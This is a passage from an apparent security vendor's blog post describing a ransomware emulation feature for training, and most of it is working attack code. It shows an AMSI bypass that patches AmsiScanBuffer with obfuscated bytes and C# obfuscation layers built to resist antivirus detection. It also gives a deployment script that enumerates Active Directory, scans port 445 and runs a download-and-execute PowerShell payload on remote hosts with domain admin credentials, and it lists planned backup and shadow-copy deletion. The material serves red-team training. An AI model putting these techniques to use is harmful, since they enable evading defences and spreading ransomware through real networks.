IntPtr amsi = load("amsi.dll");
IntPtr amsiScanBuffer = Bypass2.GetProcAddress(amsi, "AmsiScanBuffer");
uint previous;
vprot(amsiScanBuffer, (UIntPtr)5, 0x40, out previous);
byte[] patch = Bypass2.GetPatch();
Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);
vprot(amsiScanBuffer, (UIntPtr)5, previous, out previous);
}
private static IntPtr LoadLibrary(string name) {
foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {
if (module.ModuleName.Equals(name, StringComparison.OrdinalIgnoreCase)) {
return module.BaseAddress;
}
}
return IntPtr.Zero;
}
private static byte[] GetPatch() {
byte[] original = new byte[Patch.Length];
for (int i = 0; i < original.Length; i++) {
original[i] = (byte)(Patch[i] - Offset);
}
return original;
}
private static readonly byte[] Patch =
{
29,
188,
101,
108,
229,
40
};
private static readonly byte Offset = 101;
}
}
The next layer is the CSharpStringVaultTransform which obfuscates supported string types with a variety of embedding techniques. In this example, all string references are replaced by a reference to a static property of a new class. Within that new class, it has a static default constructor that decompresses all of the strings from an internal byte array and assigns those strings to the appropriate class properties.
This is simply one example of a string obfuscation technique. There are many others provided to mitigate signaturization.
using System;
namespace Example {
public class Program {
public static void Main() {
string message = "Hello world!";
Console.WriteLine(message);
}
}
}
using System;
using System.Text;
using System.IO;
using System.IO.Compression;
namespace Example {
public class Program {
public static void Main() {
string message = StringVault.STR0;
Console.WriteLine(message);
}
}
public static class StringVault {
public static string STR0 {
get {
return StringVault.Strings[0];
}
}
static StringVault() {
using (MemoryStream ms = new MemoryStream(StringVault.SERIALIZED)) {
using (GZipStream gz = new GZipStream(ms, CompressionMode.Decompress)) {
using (BinaryReader br = new BinaryReader(gz)) {
int count = br.ReadInt32();
StringVault.Strings = new string[count];
for (int i = 0; i < count; i++) {
StringVault.Strings[i] = br.ReadString();
}
}
}
}
}
private static string[] Strings;
private static byte[] SERIALIZED = new byte[] { 31, 139, 8, 0, 0, 0, 0, 0, 0, 10, 99, 100, 96, 96, 224, 241, 72, 205, 201, 201, 87, 40, 207, 47, 202, 73, 81, 4, 0, 255, 92, 163, 180, 17, 0, 0, 0 };
}
}
The next layer is the CSharpClassMemberShufflerTransform which simply shuffles members of a class. The supported member types include class variables, static gariables, constants, methods, and constructors. This is to help randomize the contents of the compiled binary.
using System;
namespace Example {
public class Program {
private const string MESSAGE = "Hello world!";
public static void Main() {
Program.Run();
}
private static void Run() {
Console.WriteLine(Program.MESSAGE);
}
}
}
using System;
namespace Example {
public class Program {
private static void Run() {
Console.WriteLine(Program.MESSAGE);
}
public static void Main() {
Program.Run();
}
private const string MESSAGE = "Hello world!";
}
}
The CSharpVariableNameTransform layer randomizes variable names to include both class variables, arguments, and local variable names. All rederences to the target symbol are updated with the new name. We provide a set of pre-generated variable names, minus the C# keywords. We didn’t do any cool research this time like we did with the PowerShell version. I got lazy and just asked ChatGPT to generate a huge list of unique variable names. If the obfuscator runs out of pre-generated names, the fallback is a random character generator.
But why obfuscate variable names if the code just gets compiled? As it turns out, .NET binaries store a lot of information about namespaces, classes, properties, and some variable names among other things for use with the .NET reflection system. AV signatures can be created off of individual or combinations of strings in the binary that are common between various iterations or builds of the same malware. This obfuscation method mitigates one possible artifact.
using System;
namespace Example {
public class Program {
private static string MESSAGE = "Hello world!";
public static void Main(string[] args) {
Program.Run();
}
private static void Run() {
Console.WriteLine(Program.MESSAGE);
}
}
}
using System;
namespace Example {
public class Program {
private static string lastName= "Hello world!";
public static void Main(string[] username) {
Program.Run();
}
private static void Run() {
Console.WriteLine(Program.lastName);
}
}
}
The next few layers (CSharpMethodNameTransform, CSharpClassNameTransform, and CSharpNamespaceNameTransform) work in a similar manner to the CSharpVariabledNameTransform. At this point, I think you get the idea, so I did not provide specific examples. When we apply all of these techniques together we get a binary that only shares similarities in the compiled byte codes for each method in the program. Everything else has been obfuscated in some way. Thus we have a payload that is AV detection resistent.
User Prompt
The last step of the killchain is to notify the user what happened and present a ransom message to the user. This is critical to the training scenario to drive incident response. This is a simple .NET Winforms application that informs the user that they are the victim of ransomware and that they must send $500 of bitcoin to a made-up site that doesn’t exist along with a countdown timer to losing your data forever (it’s not really gone after that, the encryption is easily reversible).
It also contains a button to decrypt the files. This feature will work when pressed no matter what.
The decryption code is fairly straight forward. Just the inverse of our encryption procedure. We use the same recursive file search method looking for files with our custom extension appended to the end. As we work through decrypting each file, we update a progress bar in the UI.
private void DecryptEventHandler(object sender, DoWorkEventArgs e) {
string path = "C:\\";
try {
string[] files = Utility.GetFiles(path, "*.specter");
int count = 0;
foreach (string file in files) {
try {
byte[] plaintext = this.DecryptHelper(file);
string newname = file.Replace(".specter", string.Empty);
File.WriteAllBytes(newname, plaintext);
File.Delete(file);
} catch { }
count++;
BackgroundWorker worker = (BackgroundWorker)sender;
worker.ReportProgress((int)(count / (float)files.Length * 100));
}
} catch { }
}
If you remember from earlier, we stored the decryption keys with each file in plaintext, so we simply read they key and IV first to build a CryptoStream for decryption. We then decrypt the original, strip the .specter extension, save the decrypted contents back to the original filepath, and then delete the encrypted version.
private byte[] DecryptHelper(string path) {
byte[] key = new byte[32];
byte[] iv = new byte[16];
byte[] contents = File.ReadAllBytes(path);
for (int i = 0; i < key.Length; i++) {
key[i] = contents[i];
}
for (int i = 0; i < iv.Length; i++) {
iv[i] = contents[i + key.Length];
}
byte[] ciphertext = new byte[contents.Length - key.Length - iv.Length];
for (int i = 0; i < ciphertext.Length; i++) {
ciphertext[i] = contents[i + key.Length + iv.Length];
}
//Create the streams used for encryption
using (SymmetricAlgorithm aes = this.GetSymmetricAlgorithm()) {
aes.Key = key;
aes.IV = iv;
using (ICryptoTransform decryptor = aes.CreateDecryptor()) {
using (MemoryStream ms = new MemoryStream(contents)) {
byte[] buffer = new byte[1024];
int count = 0;
using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read)) {
using (MemoryStream output = new MemoryStream()) {
while ((count = cs.Read(buffer, 0, buffer.Length)) > 0) {
output.Write(buffer, 0, count);
}
//Return the encrypted bytes from the memory stream
return output.ToArray();
}
}
}
}
}
}
Deployment Script
Lastly, the deployment script is responsible for orchestrating the killchain. It runs within a Specter running in the environment and is responsible for: (1) generating the PowerShell command that will be distributed, (2) identifying targets, and (3) executing the PowerShell command payload on remote systems. Let’s break each step down.
The first step is to load the dependencies on the recon and lateral modules that contain methods for scanning the network and for running remote commands.
load recon;
load lateral;
The next step is payload generation. This script needs to generate a PowerShell command to distribute. We can do this with the “Get-Payload” (alias “payload”). This will generate a PowerShell command that will download and execute the ransomware payload.
The process to obfuscate and compile a new encryptor payload can take a few seconds to generate, so we trigger the generation prior to deploying the command so that the server’s payload caching service caches the new payloads for quick retrieval as the killchain executes on each host. Effectively, we generate the ransomware only once per kill chain execution.
#Generate the payload
$payload = payload -Kind 'ps_ransom_command';
#Pre-generate stage 2 and 3
payload -Kind 'ps_ransom_script' | Out-Null;
payload -Kind 'csharp_ransomware' | Out-Null;
Next, we need to create a list of target IP addresses.
If the operator specified a list of targets, then we simple need to convert those to IP addresses. The targets could be host names, CIDR ranges, or IP addresses. We use the Invoke-Resolve cmdlet to resolve the input to IP addresses.
If the operator did not specify a set of targets, we will generate one by enumerating all of the systems in Active Directory with the SpecterInsight computers cmdlet and resolving their IP addresses using the SpecterInsight resolve cmdlet. This should give us a good list to target. The current Active Directory instance will be used to query computers.
Lastly, the script needs to remove the local system so that we don’t frag our foothold in the network. We pull all of the IPs associated with each interface using the SpecterInsight interfaces cmdlet and add those to a dictionary. A HashSet would make more sense here, but we want this script to be .NET 2.0 compatible. We then loop through all IPs and remove any that are local.
#Build a list of IP addresses to target
if($Targets -eq $null -or $Targets.Length -le 0) {
#Autotarget from Active Directory
$computers = computers | resolve | % { $_.ToString() };
} else {
#Use explicit targetting
$computers = $Targets | resolve | % { $_.ToString() };
}
#Build a list of local IP addressess
$localhost = New-Object 'System.Collections.Generic.Dictionary[string, string]';
$interfaces = interfaces;
foreach($interface in $interfaces) {
foreach($entry in $interface.InterfaceIPs) {
$ip = $entry.IP.ToString();
if(!$localhost.ContainsKey($ip)) {
$localhost.Add($ip, $ip);
}
}
}
#Remove localhost from target list
$computers = $computers | ? { !$localhost.ContainsKey($_.IPAddress); }
Armed with a target list, we need now need to see which targets are alive and responding. We can do this with a TCP port scan for port 445 using the SpecterInsight scan cmdlet which performs a multi-threaded TCP full connect scan. For each system that responds, we add that IP address to the final target list.
#Find systems that are alive via a quick port scan
$scan = scan -Targets ([string[]]$computers) -Ports @(445);
$alive = $scan | ? { $_.'445' -eq 'OPEN' };
$addresses = $alive | % { $_.IPAddress; }
We can now deploy our payload to the reachable targets using the Invoke-ParallelCommand cmdlet. This cmdlet will run a given command remotely with one of three different methods: WMI, Scheduled Tasks, or the Service Control Manager. It will try each one in succession until it finds a technique that works or runs out of options.
$results = Invoke-ParallelCommand -Targets ([string[]]$addresses) -Command $payload -Username $Username -Password $Password;
$results;
Procedures
The procedures demonstrate how to employ the Ransomware Simulation script across a CIDR /24 network with explicit credentials. The steps below assume access to a Specter running within the target environment.
The first step is to load the Ransomware Emulation SpecterScript into the command editor. You can find the script by searching ransom in the SpecterScript search window and then clicking on the Insert button. This will add the script to the command editor and generate a display UI.
The next step is to select which Parameter Set to use. In this case, we will be deploying from a non-domain connected system, so we will be using the “Username and Password” Parameter Set. We then input a set of targets containing either CIDR, IP address, or hostname. In this case we provide a small /24 subnet to deploy to.
Then we provide a domain administrator username and password for authentication.
Now that we are done configuring parameters, we can run the script.
Once the script completes, it will output results for each reachable target it found during the initial port scan. In this case, the Scheduled Task method worked for each of the targets.
The process is multi-threaded, so deployment only took 20 seconds from start to finish in a CIDR /24. The port scanning is really fast, but the API calls to the remote system are much slower. The deployment will likely take a bit longer in a more populated subnet.
The amount of data sent out in the deployment is relatively small as we’re only transferring a few bytes for the PowerShell command arguments. Each target system pulls down the ransomware payload from the C2 server which is about 100KiB.
Upon logging into a victim machine, the ransom message is shown.
Future Work
This new feature provides the basic elements of ramsonware; however, it does not implent other ccommon ransomware functionss. To improve our threat emulation, we look to implement the following features in future updates:
- Leveraging a mutex forensure only a single encrypter instance
- Empty recycle bin to clear out old versions
- Deleting swap space
- Kill processes to enable encryption by removing file locks
- Delete volume shadow copies
- Delete backups
- Identify direct attached storage and add to encryption list
- Identify accessible file shares
Summary
In this post, we showed how you can leverage SpecterInsight to emulate ransomware activity in a training environment. As we went along, we broke down each component and described in detail how each step works in code to give you a better understanding of how adversaries build, obfuscate, and deploy ransomware.
Offensive Security is vital for safeguarding against digital threats. Your insights are valuable in navigating this landscape effectively. Keep it up!
Great job highlighting offensive security!